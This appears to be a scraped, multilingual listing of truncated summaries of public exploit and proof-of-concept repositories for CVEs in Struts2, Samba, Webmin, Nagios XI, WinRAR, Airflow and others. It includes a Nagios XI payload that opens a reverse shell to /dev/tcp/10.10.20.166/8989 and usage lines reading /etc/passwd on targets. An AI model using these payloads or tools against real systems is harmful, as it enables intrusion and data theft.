CVE-2016-4438

संदर्भ: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

CVE-2007-2447

Эксплойт Samba CVE-2007-2447 Автономная реализация эксплойта CVE-2007-2447 на Rust, нацеленного на Samba smbd 3.0.20-Debian. Описание уязвимости CVE-2007-2447 — это уязвимость внедрения команд в версиях Samba с 3.0.0 по 3.0.25rc3. Уязвимость существует в функции SamrChangePassword, которая не...

CVE-2025-54100

CVE-2025-54100 – PowerShell إثبات المفهوم لتحليل الاستجابة يوضح كيف يؤدي تحليل HTML الضار لـ CVE-2025-54100 إلى تنفيذ التعليمات البرمجية عن بُعد RCE في Windows PowerShell 5.1. ما هو CVE-2025-54100؟ نوع الثغرة: خطر حقن الأوامر عند عدم استخدام Invoke-WebRequest لمعامل -UseBasicParsing مستوى الخطورة...

evilrdp

🚩 Patrocinadores Se você gosta deste projeto, considere patrociná-lo no GitHub! Patrocinadores EVILRDP - Mais controle sobre RDP O gêmeo malvado do aardwolfgui usando a biblioteca de cliente RDP aardwolf que lhe dá controle estendido sobre o alvo e capacidades adicionais de script a partir da lin...

CVE-2019-25065-exploit

CVE-2019-25065 - POC هذا هو POC الخاص بـ CVE-2019-25065 - حقن أوامر نظام التشغيل في OpenNetAdmin v18.1.1 الاستغلال مكتوب بلغة bash، ويدعم بيئة لينكس. تم اختباره على Kali Linux 2024.4 و Ubuntu 22.04.5 LTS التبعيات: حزمة دبيان gridsite-clients...

CVE-2019-20197

CVE-2019-20197 Nagios XI दूरस्थ कमांड निष्पादन भेद्यता = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2019-15642

CVE-2019-15642 Webmin रिमोट कोड निष्पादन प्रमाणित पायथन उपयोग: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 Webmin के लिए डॉकर cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin उपयोगकर्ता नाम=root,पासवर्ड=root...

CVE-2019-15107

CVE-2019-15107 Webmin RCE पासवर्ड बदलने में विफल : वर्तमान पासवर्ड गलत हैuid=0root gid=0root groups=0root...

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit

CTT-Serverless-RCE-v1.0---Convergent-Time-Theory-Enhanced-MCP-Exploit خادم MCP لإطار العمل Serverless CVE-2025-69256 النتيجة الأساسية: 9.4/10 ← النتيجة المعززة بـ CTT: 9.9/10 ثغرة خطيرة لحقن الأوامر في خادم MCP بروتوكول سياق النموذج لإطار العمل Serverless معززة بالرنين الزمني لـ CTT لموثوقية...

jboss-_CVE-2017-12149

jboss-CVE-2017-12149 verifyCVE-2017-12149.jar fournit un mode en ligne de commande pour vérifier la vulnérabilité. Si la vulnérabilité existe, il renvoie une chaîne caractéristique. Il suffit d'exécuter la commande : root@kitploit: $ java -jar verifyCVE-2017-12149.jar http://xxx:8080 成功返回:...

winrar-cve-2023-38831-poc-gen

Генератор эксплойта CVE-2023-38831 Этот инструмент представляет собой Python-скрипт, который использует уязвимость в формате RAR-файлов CVE-2023-38831 для выполнения вредоносной команды при открытии пользователем файла-приманки. Эксплойт работает на версиях WinRAR до 6.23. Например, 6.22, 6.21,...

CVE-2026-63403

Faktory versions prior to 1.10.0 are vulnerable to an unauthenticated denial of service via a single malformed command that crashes the entire server process. The line-based wire protocol's command handlers perform fixed-offset slicing or indexing (e.g., cmd[5:] for PUSH, qs[0] for QUEUE) without...

CVE-2024-53375

CVE-2024-53375 TP-Link Archer श्रृंखला राउटरों में प्रमाणित OS कमांड इंजेक्शन प्रभावित डिवाइस TP-Link के वे डिवाइस जो HomeShield कार्यक्षमता का उपयोग करते हैं, इस शोषण के प्रति संवेदनशील हैं। इसमें TP-Link Archer श्रृंखला के कई राउटर शामिल हैं। परीक्षण किया गया Archer AXE75EUV11.2.2 Build 2024082...

Shitrix-CVE-2019-19781

Shitrix-CVE-2019-19781 Shitrix का शोषण करने का मेरा कार्यशील दृष्टिकोण 21 जुलाई, 2020 को अपडेट किया गया - अब बहु-शब्द कमांड और फॉरवर्ड स्लैश का समर्थन करता है आपको curl = 7.42.0 चाहिए इसे इस प्रकार कॉल करें, उदाहरण के लिए: ./shitrix.sh target port ls -al...

murphysec

中文 | EN MurphySec CLI é usado para detectar dependências vulneráveis a partir da linha de comando e também pode ser integrado ao seu pipeline de CI/CD. Recursos 1. Analisar as dependências usadas pelo seu projeto, incluindo dependências diretas e indiretas 2. Detectar vulnerabilidades conhecidas...

Sharp-SMBExec

Sharp-SMBExec Uma conversão nativa em C do script PowerShell Invoke-SMBExec de Kevin Robertson. https://github.com/Kevin-Robertson/Invoke-TheHash/blob/master/Invoke-SMBExec.ps1 Compilado para .NET 3.5 Uso Sharp-SMBExec.exe hash:"hash" username:"username" domain:"domain.tld"...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Webmin CGI कमांड इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन भेद्यता...

CVE-2023-39362-cacti-snmp-command-injection-poc

Cacti CVE-2023-39362 में कमांड इंजेक्शन कमजोरी - PoC यह रेपो इस रेपो से फोर्क किया गया है: https://github.com/m3ssap0/cacti-rce-snmp-options-vulnerable-application Cacti एक ओपन-सोर्स परिचालन निगरानी और दोष प्रबंधन फ्रेमवर्क है, जो अपने उपयोगकर्ता समुदाय की गतिशील आवश्यकताओं को पूरा करने के लिए...

CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL 인젝션 PoC CVE-2023-22884 CVE-2023-22884에 대한 PoC는 Apache Airflow 2.4.0 이전 버전에 영향을 미치는 RCE 취약점입니다. 공식 보고서 설명은 다음과 같습니다: Improper Neutralization of Special Elements used in a Command 'Command Injection' vulnerability in Apache Software Foundation Apache Airflow, Apache Software...

CVE-2022-40127-Airflow-RCE

Apache Airflow Apache Airflow के Example Dags में एक कमजोरी UI पहुंच वाले हमलावर को, जो DAGs को ट्रिगर कर सकता है, मैन्युअल रूप से प्रदान किए गए runid पैरामीटर के माध्यम से मनमाना कमांड निष्पादित करने की अनुमति देती है। यह समस्या Apache Airflow के संस्करण 2.4.0 से पहले के संस्करणों को प्रभावित कर...